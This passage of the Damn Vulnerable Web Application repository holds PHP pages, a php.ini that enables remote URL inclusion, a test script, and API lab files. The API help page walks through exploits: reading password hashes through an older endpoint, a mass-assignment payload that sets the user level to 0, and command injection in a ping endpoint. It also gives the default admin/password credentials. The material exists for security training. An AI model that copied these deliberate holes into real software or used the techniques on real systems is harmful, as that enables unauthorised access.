GMT' );     // Date in the past\r\n\r\n// Anti-CSRF\r\ngenerateSessionToken();\r\n\r\necho \"<!DOCTYPE html>\r\n\r\n<html lang=\\\"en-GB\\\">\r\n\r\n\t<head>\r\n\r\n\t\t<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\r\n\r\n\t\t<title>Login :: Damn Vulnerable Web Application (DVWA)</title>\r\n\r\n\t\t<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/css/login.css\\\" />\r\n\r\n\t</head>\r\n\r\n\t<body>\r\n\r\n\t<div id=\\\"wrapper\\\">\r\n\r\n\t<div id=\\\"header\\\">\r\n\r\n\t<br />\r\n\r\n\t<p><img src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/images/login_logo.png\\\" /></p>\r\n\r\n\t<br />\r\n\r\n\t</div> <!--<div id=\\\"header\\\">-->\r\n\r\n\t<div id=\\\"content\\\">\r\n\r\n\t<form action=\\\"login.php\\\" method=\\\"post\\\">\r\n\r\n\t<fieldset>\r\n\r\n\t\t\t<label for=\\\"user\\\">Username</label> <input type=\\\"text\\\" class=\\\"loginInput\\\" size=\\\"20\\\" name=\\\"username\\\"><br />\r\n\r\n\r\n\t\t\t<label for=\\\"pass\\\">Password</label> <input type=\\\"password\\\" class=\\\"loginInput\\\" AUTOCOMPLETE=\\\"off\\\" size=\\\"20\\\" name=\\\"password\\\"><br />\r\n\r\n\t\t\t<br />\r\n\r\n\t\t\t<p class=\\\"submit\\\"><input type=\\\"submit\\\" value=\\\"Login\\\" name=\\\"Login\\\"></p>\r\n\r\n\t</fieldset>\r\n\r\n\t\" . tokenField() . \"\r\n\r\n\t</form>\r\n\r\n\t<br />\r\n\r\n\t{$messagesHtml}\r\n\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\t<br />\r\n\r\n\t</div > <!--<div id=\\\"content\\\">-->\r\n\r\n\t<div id=\\\"footer\\\">\r\n\r\n\t<p>\" . dvwaExternalLinkUrlGet( 'https://github.com/digininja/DVWA/', 'Damn Vulnerable Web Application (DVWA)' ) . \"</p>\r\n\r\n\t</div> <!--<div id=\\\"footer\\\"> -->\r\n\r\n\t</div> <!--<div id=\\\"wrapper\\\"> -->\r\n\r\n\t</body>\r\n\r\n</html>\";\r\n\r\n?>\r\n"
  },
  {
    "path": "logout.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( ) );\r\n\r\nif( !dvwaIsLoggedIn() ) {\t// The user shouldn't even be on this page\r\n\t// dvwaMessagePush( \"You were not logged in\" );\r\n\tdvwaRedirect( 'login.php' );\r\n}\r\n\r\ndvwaLogout();\r\ndvwaMessagePush( \"You have logged out\" );\r\ndvwaRedirect( 'login.php' );\r\n\r\n?>\r\n"
  },
  {
    "path": "php.ini",
    "content": "; This file attempts to overwrite the original php.ini file. Doesnt always work.\r\n\r\nmagic_quotes_gpc = Off\r\nallow_url_fopen = on\r\nallow_url_include = on\r\n"
  },
  {
    "path": "phpinfo.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated') );\r\n\r\nphpinfo();\r\n\r\n?>\r\n"
  },
  {
    "path": "robots.txt",
    "content": "User-agent: *\nDisallow: /"
  },
  {
    "path": "security.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated') );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'DVWA Security' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'security';\n\n$securityHtml = '';\nif( isset( $_POST['seclev_submit'] ) ) {\n\t// Anti-CSRF\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'security.php' );\n\n\t$securityLevel = '';\n\tswitch( $_POST[ 'security' ] ) {\n\t\tcase 'low':\n\t\t\t$securityLevel = 'low';\n\t\t\tbreak;\n\t\tcase 'medium':\n\t\t\t$securityLevel = 'medium';\n\t\t\tbreak;\n\t\tcase 'high':\n\t\t\t$securityLevel = 'high';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t$securityLevel = 'impossible';\n\t\t\tbreak;\n\t}\n\n\tdvwaSecurityLevelSet( $securityLevel );\n\tdvwaMessagePush( \"Security level set to {$securityLevel}\" );\n\tdvwa_start_session();\n\tdvwaPageReload();\n}\n\n$securityOptionsHtml = '';\n$securityLevelHtml   = '';\nforeach( array( 'low', 'medium', 'high', 'impossible' ) as $securityLevel ) {\n\t$selected = '';\n\tif( $securityLevel == dvwaSecurityLevelGet() ) {\n\t\t$selected = ' selected=\"selected\"';\n\t\t$securityLevelHtml = \"<p>Security level is currently: <em>$securityLevel</em>.<p>\";\n\t}\n\t$securityOptionsHtml .= \"<option value=\\\"{$securityLevel}\\\"{$selected}>\" . ucfirst($securityLevel) . \"</option>\";\n}\n\n// Anti-CSRF\ngenerateSessionToken();\n\n$page[ 'body' ] .= \"\n<div class=\\\"body_padded\\\">\n\t<h1>DVWA Security <img src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/images/lock.png\\\" /></h1>\n\t<br />\n\n\t<h2>Security Level</h2>\n\n\t{$securityHtml}\n\n\t<form action=\\\"#\\\" method=\\\"POST\\\">\n\t\t{$securityLevelHtml}\n\t\t<p>You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:</p>\n\t\t<ol>\n\t\t\t<li> Low - This security level is completely vulnerable and <em>has no security measures at all</em>. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.</li>\n\t\t\t<li> Medium - This setting is mainly to give an example to the user of <em>bad security practices</em>, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.</li>\n\t\t\t<li> High - This option is an extension to the medium difficulty, with a mixture of <em>harder or alternative bad practices</em> to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.</li>\n\t\t\t<li> Impossible - This level should be <em>secure against all vulnerabilities</em>. It is used to compare the vulnerable source code to the secure source code.<br />\n\t\t\t\tPrior to DVWA v1.9, this level was known as 'high'.</li>\n\t\t</ol>\n\t\t<select name=\\\"security\\\">\n\t\t\t{$securityOptionsHtml}\n\t\t</select>\n\t\t<input type=\\\"submit\\\" value=\\\"Submit\\\" name=\\\"seclev_submit\\\">\n\t\t\" . tokenField() . \"\n\t</form>\n\t\n\t<br>\n\t<br>\n\t<h2>Additional Tools</h2>\n\t<ul>\n\t\t<li><a href=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/bac/log_viewer.php\\\">View Broken Access Control Logs</a> - View access logs for the Broken Access Control vulnerability</li>\n\t</ul>\n</div>\";\n\ndvwaHtmlEcho( $page );\n\n?>\n"
  },
  {
    "path": "security.txt",
    "content": "The clue is in its name, DVWA contains both intentional and unintentional vulnerabliities, that is it's whole point, please do not try to report them.\n"
  },
  {
    "path": "setup.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Setup' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'setup';\r\n\r\nif( isset( $_POST[ 'create_db' ] ) ) {\r\n\t// Anti-CSRF\r\n\tif (array_key_exists (\"session_token\", $_SESSION)) {\r\n\t\t$session_token = $_SESSION[ 'session_token' ];\r\n\t} else {\r\n\t\t$session_token = \"\";\r\n\t}\r\n\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $session_token, 'setup.php' );\r\n\r\n\tif( $DBMS == 'MySQL' ) {\r\n\t\tinclude_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/DBMS/MySQL.php';\r\n\t}\r\n\telseif($DBMS == 'PGSQL') {\r\n\t\t// include_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/DBMS/PGSQL.php';\r\n\t\tdvwaMessagePush( 'PostgreSQL is not yet fully supported.' );\r\n\t\tdvwaPageReload();\r\n\t}\r\n\telse {\r\n\t\tdvwaMessagePush( 'ERROR: Invalid database selected. Please review the config file syntax.' );\r\n\t\tdvwaPageReload();\r\n\t}\r\n}\r\n\r\n// Anti-CSRF\r\ngenerateSessionToken();\r\n\r\n$database_type_name = \"Unknown - The site is probably now broken\";\r\nif( $DBMS == 'MySQL' ) {\r\n\t$database_type_name = \"MySQL/MariaDB\";\r\n} elseif($DBMS == 'PGSQL') {\r\n\t$database_type_name = \"PostgreSQL\";\r\n}\r\n\r\n$git_ref = \"<em>Unknown</em><br><br>\";\r\n$mod_rewrite = \"<em>Unknown</em><br>\";\r\n\r\nif (PHP_OS == \"Linux\") {\r\n\tif (is_dir (\".git\")) {\r\n\t\t$git_log = shell_exec (\"git -c 'safe.directory=*' log -1\");\r\n\t\tif (!is_null ($git_log)) {\r\n\t\t\t$tmp = explode (\"\\n\", $git_log);\r\n\t\t\t$date = str_replace (\"Date: \", \"Date: <em>\", $tmp[2]);\r\n\t\t\t$git_ref = \"<ul><li>\" . str_replace (\"commit \", \"Git reference: <em>\", $tmp[0]) . \"</em></li><li>\" . $date . \"</em></li></ul>\";\r\n\t\t}\r\n\t}\r\n\r\n\t$out = shell_exec (\"apachectl -M | grep rewrite_module\");\r\n\tif ($out == \"\") {\r\n\t\t$mod_rewrite = \"<em><span class='failure'>Not Enabled</span></em><br>\";\r\n\t} else {\r\n\t\t$mod_rewrite = \"<em><span class='success'>Enabled</span></em><br>\";\r\n\t}\r\n}\r\n\r\nif (!is_dir (\"./vulnerabilities/api/vendor\")) {\r\n\t$vendor = \"<em><span class='failure'>Not Installed</span></em><br><br>\";\r\n\t$vendor .= \"For information on how to install these, see the <a href='https://github.com/digininja/DVWA/blob/master/README.md#vendor-files'>README</a>.<br>\";\r\n} else {\r\n\t$vendor = \"<em><span class='success'>Installed</span></em><br>\";\r\n}\r\n\r\n$phpVersionWarning = \"\";\r\n\r\nif (version_compare(phpversion(), '6', '<')) {\r\n\t$phpVersionWarning = \"<span class=\\\"failure\\\">Versions of PHP below 7.x are not supported, please upgrade.</span><br /><br />\";\r\n} elseif (version_compare(phpversion(), '7.3', '<')) {\r\n\t$phpVersionWarning = \"<span class=\\\"failure\\\">Versions of PHP below 7.3 may work but have known problems, please upgrade.</span><br /><br />\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Database Setup <img src=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"dvwa/images/spanner.png\\\" /></h1>\r\n\r\n\t<p>Click on the 'Create / Reset Database' button below to create or reset your database.<br />\r\n\tIf you get an error make sure you have the correct user credentials in: <em>\" . realpath(  getcwd() . DIRECTORY_SEPARATOR . \"config\" . DIRECTORY_SEPARATOR . \"config.inc.php\" ) . \"</em></p>\r\n\r\n\t<p>If the database already exists, <em>it will be cleared and the data will be reset</em>.<br />\r\n\tYou can also use this to reset the administrator credentials (\\\"<em>admin</em> // <em>password</em>\\\") at any stage.</p>\r\n\t<hr />\r\n\t<br />\r\n\r\n\t<h2>Setup Check</h2>\r\n\r\n\t<em>General</em><br />\r\n\t{$DVWAOS}<br />\r\n\t<br>\r\n\tDVWA version: {$git_ref}\r\n\t<br>\r\n\t{$DVWARecaptcha}<br />\r\n\t<br />\r\n\t{$DVWAUploadsWrite}<br />\r\n\t{$bakWritable}\r\n\t<br />\r\n\t<br>\r\n\r\n\t<em>Apache</em><br>\r\n\t{$SERVER_NAME}<br /><br>\r\n\tmod_rewrite: {$mod_rewrite}\r\n\tmod_rewrite is required for the API labs.<br><br>\r\n\r\n\t<em>PHP</em><br>\r\n\tPHP version: <em>\" . phpversion() . \"</em><br />\r\n\t{$phpVersionWarning}\r\n\t{$phpDisplayErrors}<br />\r\n\t{$phpDisplayStartupErrors}<br />\r\n\t{$phpURLInclude}<br/ >\r\n\t{$phpURLFopen}<br />\r\n\t{$phpGD}<br />\r\n\t{$phpMySQL}<br />\r\n\t{$phpPDO}<br />\r\n\t<br />\r\n\t<em>Database</em><br>\r\n\tBackend database: <em>{$database_type_name}</em><br />\r\n\t{$MYSQL_USER}<br />\r\n\t{$MYSQL_PASS}<br />\r\n\t{$MYSQL_DB}<br />\r\n\t{$MYSQL_SERVER}<br />\r\n\t{$MYSQL_PORT}<br />\r\n\t<br />\r\n\t<em>API</em><br>\r\n\t<i>This section is only important if you want to use the API module.</i><br>\r\n\tVendor files installed: {$vendor}<br>\r\n\r\n\t<i><span class=\\\"failure\\\">Status in red</span>, indicate there will be an issue when trying to complete some modules.</i><br />\r\n\t<br />\r\n\tIf you see disabled on either <i>allow_url_fopen</i> or <i>allow_url_include</i>, set the following in your php.ini file and restart Apache.<br />\r\n\t<pre><code>allow_url_fopen = On\r\nallow_url_include = On</code></pre>\r\n\tThese are only required for the file inclusion labs so unless you want to play with those, you can ignore them.\r\n\r\n\t<br /><br /><br />\r\n\r\n\t<!-- Create db button -->\r\n\t<form action=\\\"#\\\" method=\\\"post\\\">\r\n\t\t<input name=\\\"create_db\\\" type=\\\"submit\\\" value=\\\"Create / Reset Database\\\">\r\n\t\t\" . tokenField() . \"\r\n\t</form>\r\n\t<br />\r\n\t<hr />\r\n</div>\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "tests/README.md",
    "content": "# Tests\n\n## Usage\n\nTo run these scripts manually, run the following from the document root:\n\n```\npython3 -m pytest -s\n```\n\n## test_url.py\n\nThis test will find all fully qualified URLs mentioned in any PHP script and will check if the URL is still alive. This helps weed out dead links from documentation and references.\n\n"
  },
  {
    "path": "tests/test_url.py",
    "content": "import glob\nimport re\nimport requests\nimport time\n\n\ndef get_php_files():\n    patterns = [\"*.php\", \"*/*.php\", \"*/*/*.php\"]\n    files = []\n    ignore_files = [\"dvwa/includes/Parsedown.php\"]\n    for pattern in patterns:\n        files.extend(glob.glob(pattern))\n    for ignore_file in ignore_files:\n        if ignore_file in files:\n            files.remove(ignore_file)\n    return files\n\n\ndef get_urls(filename):\n    with open(filename, 'r') as f:\n        content = f.read()\n        matches = re.findall(\"[\\'\\\"](https?://.*?)[\\'\\\"]\", content)\n        return matches\n\n\ndef check_once(url):\n    try:\n        headers = {\n            'User-Agent':\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit'\n            '/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'\n        }\n        response = requests.get(url, headers=headers, timeout=5)\n    except requests.exceptions.ConnectionError:\n        return False, -1\n    return response.ok, response.status_code\n\n\ndef check(url):\n    # We try for 5 times, with 3 seconds interval.\n    try_count = 1\n    try_interval = 3\n    for i in range(try_count):\n        ok, status_code = check_once(url)\n        if ok:\n            break\n        time.sleep(try_interval)\n    return ok, status_code\n\n\ndef test_url():\n    # Need to rewrite this so it generates a single, unique list of URLs,\n    # removes any which are to be ignored, and then checks them. Would be\n    # much cleaner.\n\n    ignore_urls = [\n        \"https://wpscan.com/\",\n        # Cloudflare doesn't like GitHub checking it\n\n        \"http://www.w3.org/TR/html4/loose.dtd\",\n        # Don't need to check the DTD\n\n        # \"https://twitter.com/digininja\",\n        # Twitter doesn't like GitHub checking it\n\n        \"https://www.cgisecurity.com/xss-faq.html\",\n        # Timeout\n\n        \"https://www.cgisecurity.com/csrf-faq.html\"\n        # Timeout\n    ]\n\n    expected_codes = {\n        \"https://www.vmware.com/\": 403,\n        \"https://www.virtualbox.org/\": 402,\n\n        \"https://github.com/digininja/DVWA/blob/master/README.md\"\n        \"#vendor-files\": 429,\n\n        \"https://github.com/digininja/DVWA/blob/master/README.md\"\n        \"#apache-modules\": 429,\n\n        \"https://hacks.mozilla.org/2020/08/\"\n        \"changes-to-samesite-cookie-behavior/\": 403,\n\n        \"https://blog.mozilla.org/security/2014/10/04/\"\n        \"csp-for-the-web-we-have/\": 403,\n\n        \"https://medium.com/@masjadaan/\"\n        \"oracle-padding-attack-a61369993c86\": 403,\n\n        \"https://www.golinuxcloud.com/brute-force-attack-web-forms\": 403,\n    }\n\n    all_urls = []\n    broken_urls = []\n    for php_file in get_php_files():\n        for url in get_urls(php_file):\n            all_urls.append(url)\n\n    # This removes any duplicates\n    dedup_urls = list(dict.fromkeys(all_urls))\n\n    for url in dedup_urls:\n        if url not in ignore_urls:\n            # print(\"checking %s\" % url)\n            ok, status_code = check(url)\n            if not ok and status_code != expected_codes.get(url):\n                # The php_file variable is now broken\n                # as it was set in a previous loop\n                # and doesn't come across into this one.\n\n                # print(\"failed to access %s from file %s with code\n                # %d\" % (url, php_file, status_code))\n                # broken_urls.append((php_file, url, status_code))\n                broken_urls.append((url, status_code))\n\n    # for php_file, url, status_code in broken_urls:\n    #    print(\"%s\\t%s\\t%d\" % (php_file, url, status_code))\n\n    for url, status_code in broken_urls:\n        print(\"%s\\t%d\" % (url, status_code))\n\n    assert len(broken_urls) == 0, \"Broken URLs Detected.\"\n"
  },
  {
    "path": "vulnerabilities/api/.htaccess",
    "content": "<IfModule mod_rewrite.c>\n\tRewriteEngine On\n\t# If an existing asset or directory is requested go to it as it is\n\tRewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f [OR]\n\tRewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -d\n\tRewriteRule ^ - [L]\n\n\t# Route all other calls through the API\n\tRewriteRule ^ public/index.php\n</IfModule>\n"
  },
  {
    "path": "vulnerabilities/api/README.md",
    "content": "# API Info\n\n## Generating OpenAPI Docs\n\nIf you want to be able to modify the code and generate your own OpenAPI document you will need to set a few things up.\n\nFirst, make sure you have Composer installed. There seem to be backward compatibility issues so I always get the latest version from here:\n\n<https://getcomposer.org/doc/00-intro.md>\n\nFollow the instructions the site gives to get it installed.\n\nNow go into `/vulnerabilities/api` directory and run:\n\n```\ncomposer.phar install\n```\n\nIf you did not install Composer to the system path, make sure you reference its full location.\n\nWith this installed, you should now be able to browse to `/vulnerabilities/api/gen_openapi.php` and download a dynamically generated OpenAPI file\n\n## Mark Up\n\nThe OpenAPI document is generated using [swagger-php](https://github.com/zircote/swagger-php).\n\nThe file is marked up using the newer PHP attributes method, for more information on that, see their [documentation](https://zircote.github.io/swagger-php/guide/attributes.html).\n"
  },
  {
    "path": "vulnerabilities/api/bootstrap.php",
    "content": "<?php\nrequire 'vendor/autoload.php';\n"
  },
  {
    "path": "vulnerabilities/api/composer.json",
    "content": "{\n    \"autoload\": {\n        \"psr-4\": {\n            \"Src\\\\\": \"src/\"\n        }\n    },\n    \"require\": {\n        \"zircote/swagger-php\": \"^4.10\"\n    }\n}\n"
  },
  {
    "path": "vulnerabilities/api/gen_openapi.php",
    "content": "<?php\nrequire(\"vendor/autoload.php\");\n\n$openapi = \\OpenApi\\Generator::scan(['./src']);\n\nheader(\"Access-Control-Allow-Origin: *\");\nheader(\"Content-Type: application/json; charset=UTF-8\");\nheader(\"Access-Control-Allow-Methods: OPTIONS,GET,POST,PUT,DELETE\");\nheader(\"Access-Control-Max-Age: 3600\");\nheader(\"Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With\");\nheader('Content-Type: application/x-yaml');\necho $openapi->toYaml();\n"
  },
  {
    "path": "vulnerabilities/api/help/help.php",
    "content": "<style>\n\tpre {\n\t\toverflow-x: auto;\n\t\twhite-space: pre-wrap;\n\t\tword-wrap: break-word;\n\t}\n</style>\n\n<div class=\"body_padded\">\n\t<h1>Help - API Security</h1>\n\n\t<div id=\"code\">\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\n\t<tr>\n\t<td><div id=\"code\">\n\t\t<h3>About</h3>\n\t\t<p>\n\t\tMost modern web apps use some kind of API, either as Single Page Apps (SPAs) or to retrieve data to populate traditional apps. As these APIs are behind the scenes, developers sometimes feel they can cut corners in areas such as authentication, authorisation or data validation. As testers, we can get behind the curtains and directly access these seemingly hidden calls to take advantage of these weaknesses.\n\t\t</p>\n\t\t<p>\n\t\tThis module will look at three weaknesses, versioning, mass assignment, and ..... \n\t\t</p>\n\n\t\t<br /><hr /><br />\n\n\t\t<h3>Objective</h3>\n\t\t<p>Each level has its own objective but the general idea is to exploit weak API implementations.</p>\n\n\t\t<br /><hr /><br />\n\n\t\t<h3>Low Level</h3>\n\t\t<p>The call being made by the JavaScript is for version 2 of the endpoint, could there be other, earlier, versions available?</p>\n\t\t<p>\n\t\t<button id=\"low_button\" onclick=\"show_answer('low')\">Show Answer</button>\n\t\t</p>\n\t\t<div id=\"low_answer\">\n\t\t<p>Either by looking at the JavaScript or watching network traffic, you should notice that there is a call being made to <code>/vulnerabilities/api/v2/user/</code> to retrieve the data used to generate the user table.</p>\n\t\t<p>\n\t\t\tAs the call is being made against version two (<code>v2</code>) of the endpoint, the obvious thing to try is to see if version one is available, and what it offers. The easiest way to do this is to access it directly in the browser by visiting <a href=\"//<?=$_SERVER['SERVER_NAME']?>/vulnerabilities/api/v1/user/\">/vulnerabilities/api/v1/user/</a>, but sometimes API calls require extra headers or authentication tokens which it is easier to let the site add rather than trying to do it manually. Two ways to do this are to modify the URL used in the JavaScript as the page loads by setting a breakpoint on it and changing it before the request is made, or to intercept the call in a proxy, such as BurpSuite.\n\t\t</p>\n\t\t<p>\n\t\t\tWhatever approach you try, by accessing version one of the endpoint, you should be able to see the password hashes as part of the data.\n\t\t</p>\n\t\t</div>\n\n\t\t<h3>Medium Level</h3>\n\t\t<p>\n\t\t\tLook at the call made by the site, but also look at the swagger docs and see if there are any other parameters you might be able to add that are not currently passed.\n\t\t</p>\n\t\t<p>\n\t\t<button id=\"medium_button\" onclick=\"show_answer('medium')\">Show Answer</button>\n\t\t</p>\n\t\t<div id=\"medium_answer\">\n\t\t<p>When you update your name, a PUT request is made to <code>/vulnerabilities/api/v2/user/2</code> with the following content:</p>\n\n<pre><code>{\n  \"name\":\"morph\"\n}</code></pre>\n\n\t\t<p>\n\t\t\tIf you look at the swagger docs, the definition for <code>UserUpdate</code> is:\n\t\t</p>\n\n<pre><code>UserUpdate:\n  required:\n    - name\n  properties:\n    name:\n      type: string\n      example: fred\n    type: object</code></pre>\n\n\t\t<p>\n\t\t\tWhich is what you are currently passing, but if you have a look at <code>UserAdd</code> you will see an extra parameter:\n\t\t</p>\n\n<pre><code>UserAdd:\n  required:\n    - level\n    - name\n  properties:\n    name:\n      type: string\n      example: fred\n    level:\n      type: integer\n      example: user\n  type: object</code></pre>\n\n\t\t<p>\n\t\t\tNotice the extra <code>level</code> parameter?\n\t\t</p>\n\t\t<p>\n\t\t\tIn situations like this, it is always worth testing to see if extra parameters which exist on similar calls will also work on the one you are working on.\n\t\t</p>\n\n\t\t<p>\n\t\t\tTo try this, you can either intercept the request in a proxy, or you can modify the JSON before the request is sent to the server. To modify it in the page, you can set a breakpoint in the <code>update_name</code> function, right after the <code>data</code> variable has been created, and modify the variable by using the following in the console:\n\t\t</p>\n\n<pre><code>data = JSON.stringify({name: name, level: 0})</code></pre>\n\n\t\t<p>\n\t\t\tIf you do this and then check the JSON sent in the PUT request, you should see:\n\t\t</p>\n\n<pre><code>{\n  name: \"hacked\",\n  level: 0\n}</code></pre>\n\n\t\t<p>\n\t\t\tAnd hopefully a congratulations message.\n\t\t</p>\n\t\t</div>\n\n\t\t<h3>High Level</h3>\n\t\t<p>Import the four health calls into your testing tool of choice and make sure they are running properly. When they are all working, test them for vulnerabilities.</p>\n\n\t\t<p>\n\t\t<button id=\"high_button\" onclick=\"show_answer('high')\">Show Answer</button>\n\t\t</p>\n\n\t\t<div id=\"high_answer\">\n\t\t<p>The connectivity call takes a target parameter and pings it to check for a connection, this is done by calling the OS ping command and is vulnerable to command injection.</p>\n\t\t<p>\n\t\tFor more information on how to exploit this type of issue, see the command injection module.\n\t\t</p>\n\t\t</div>\n\n\t\t<h3>Impossible Level</h3>\n\t\t<p>\n\t\t\tThe challenge here is just to get the login process automated in Postman or your tool of choice. Read the documentation and experiment. To help get things working I piped everything through Burp and watched each call as it was made to see if it matched what I expected.\n\t\t</p>\n\t\t<p>\n\t\t\tWhen the flow works correctly, the initial login will return an access token and a refresh token along with an <code>expires_in</code> value to say how long the access token is valid for. Once the access token has expired, the refresh token will be sent to the refresh endpoint to generate a new access/refresh token pair.\n\t\t</p>\n\t\t<p>\n\t\t\tIt should be noted that as well as the access token having a fixed lifespan, the refresh token also has a fixed lifespan, once it has expired, the login process has to begin again from scratch.\n\t\t</p>\n\t</div></td>\n\t</tr>\n\t</table>\n\n\t</div>\n\t\n</div>\n"
  },
  {
    "path": "vulnerabilities/api/index.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated' ) );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'Vulnerability: API Security' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'api';\n$page[ 'help_button' ]   = 'api';\n$page[ 'source_button' ] = 'api';\n\ndvwaDatabaseConnect();\n\n$vulnerabilityFile = '';\nswitch( dvwaSecurityLevelGet() ) {\n\tcase 'low':\n\t\t$vulnerabilityFile = 'low.php';\n\t\tbreak;\n\tcase 'medium':\n\t\t$vulnerabilityFile = 'medium.php';\n\t\tbreak;\n\tcase 'high':\n\t\t$vulnerabilityFile = 'high.php';\n\t\tbreak;\n\tdefault:\n\t\t$vulnerabilityFile = 'impossible.php';\n\t\tbreak;\n}\n\nif (PHP_OS == \"Linux\") {\n\t$out = shell_exec (\"apachectl -M | grep rewrite_module\");\n\tif ($out == \"\") {\n\t\t$html .= \"<em><span class='failure'>Warning, mod_rewrite is not enabled</span></em><br>\";\n\t\t$html .= \"See the <a href='https://github.com/digininja/DVWA/blob/master/README.md#apache-modules'>README</a> for more information.<br>\";\n\t}\n}\n\nif (!is_dir (\"./vendor\")) {\n\t$html .= \"<em><span class='failure'>Warning, composer has not been run.</span></em><br>\";\n\t$html .= \"See the <a href='https://github.com/digininja/DVWA/blob/master/README.md#vendor-files'>README</a> for more information.<br>\";\n}\n\t\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/api/source/{$vulnerabilityFile}\";\n\n$page[ 'body' ] .= \"<div class=\\\"body_padded\\\">\n\t<h1>Vulnerability: API Security</h1>\n\n\t<div class=\\\"vulnerable_code_area\\\">\n\";\n\n$page[ 'body' ] .= \"\n\t\t{$html}\n\t</div>\n\n\t<h2>More Information</h2>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/00-API_Testing_Overview', \"OWASP WSTG API Testing Overview\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://portswigger.net/bappstore/6bf7574b632847faaaa4eb5e42f1757c', \"Burp OpenAPI Parser\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.zaproxy.org/docs/desktop/addons/openapi-support/', \"ZAP OpenAPI Support\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://swagger.io/tools/swagger-ui/', \"Swagger UI\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.postman.com/', \"Postman\" ) . \"</li>\n\t</ul>\n</div>\\n\";\n\ndvwaHtmlEcho( $page );\n\n?>\n\n"
  },
  {
    "path": "vulnerabilities/api/openapi.yml",
    "content": "openapi: 3.0.0\ninfo:\n  title: 'DVWA API'\n  contact:\n    url: 'https://github.com/digininja/DVWA/'\n    email: robin@digi.ninja\n  version: '0.1'\nservers:\n  -\n    url: 'http://dvwa.test'\n    description: 'API server'\npaths:\n  /vulnerabilities/api/v2/health/echo:\n    post:\n      tags:\n        - health\n      description: 'Echo, echo, cho, cho, o o ....'\n      operationId: echo\n      requestBody:\n        description: 'Your words.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/Words'\n      responses:\n        '200':\n          description: 'Successful operation.'\n  /vulnerabilities/api/v2/health/connectivity:\n    post:\n      tags:\n        - health\n      description: 'The server occasionally loses connectivity to other systems and so this can be used to check connectivity status.'\n      operationId: checkConnectivity\n      requestBody:\n        description: 'Remote host.'\n        content:\n          application/json:\n            schema:\n              $ref: '#/components/schemas/Target'\n      responses:\n        '200':\n          description: 'Successful operation.'\n  /vulnerabilities/api/v2/health/status:\n    get:\n      tags:\n        - health\n      description: 'Get the health of the system.'\n      operationId: getHealthStatus\n      responses:\n        '200':\n          description: 'Successful operation.'\n  /vulnerabilities/api/v2/health/ping:\n    get:\n      tags:\n        - health\n      description: 'Simple ping/pong to check connectivity.'\n      operationId: ping\n      responses:\n        '200':\n          description: 'Successful operation.'\n  /vulnerabilities/api/v2/login/login:\n    post:\n      tags:\n        - login\n      description: 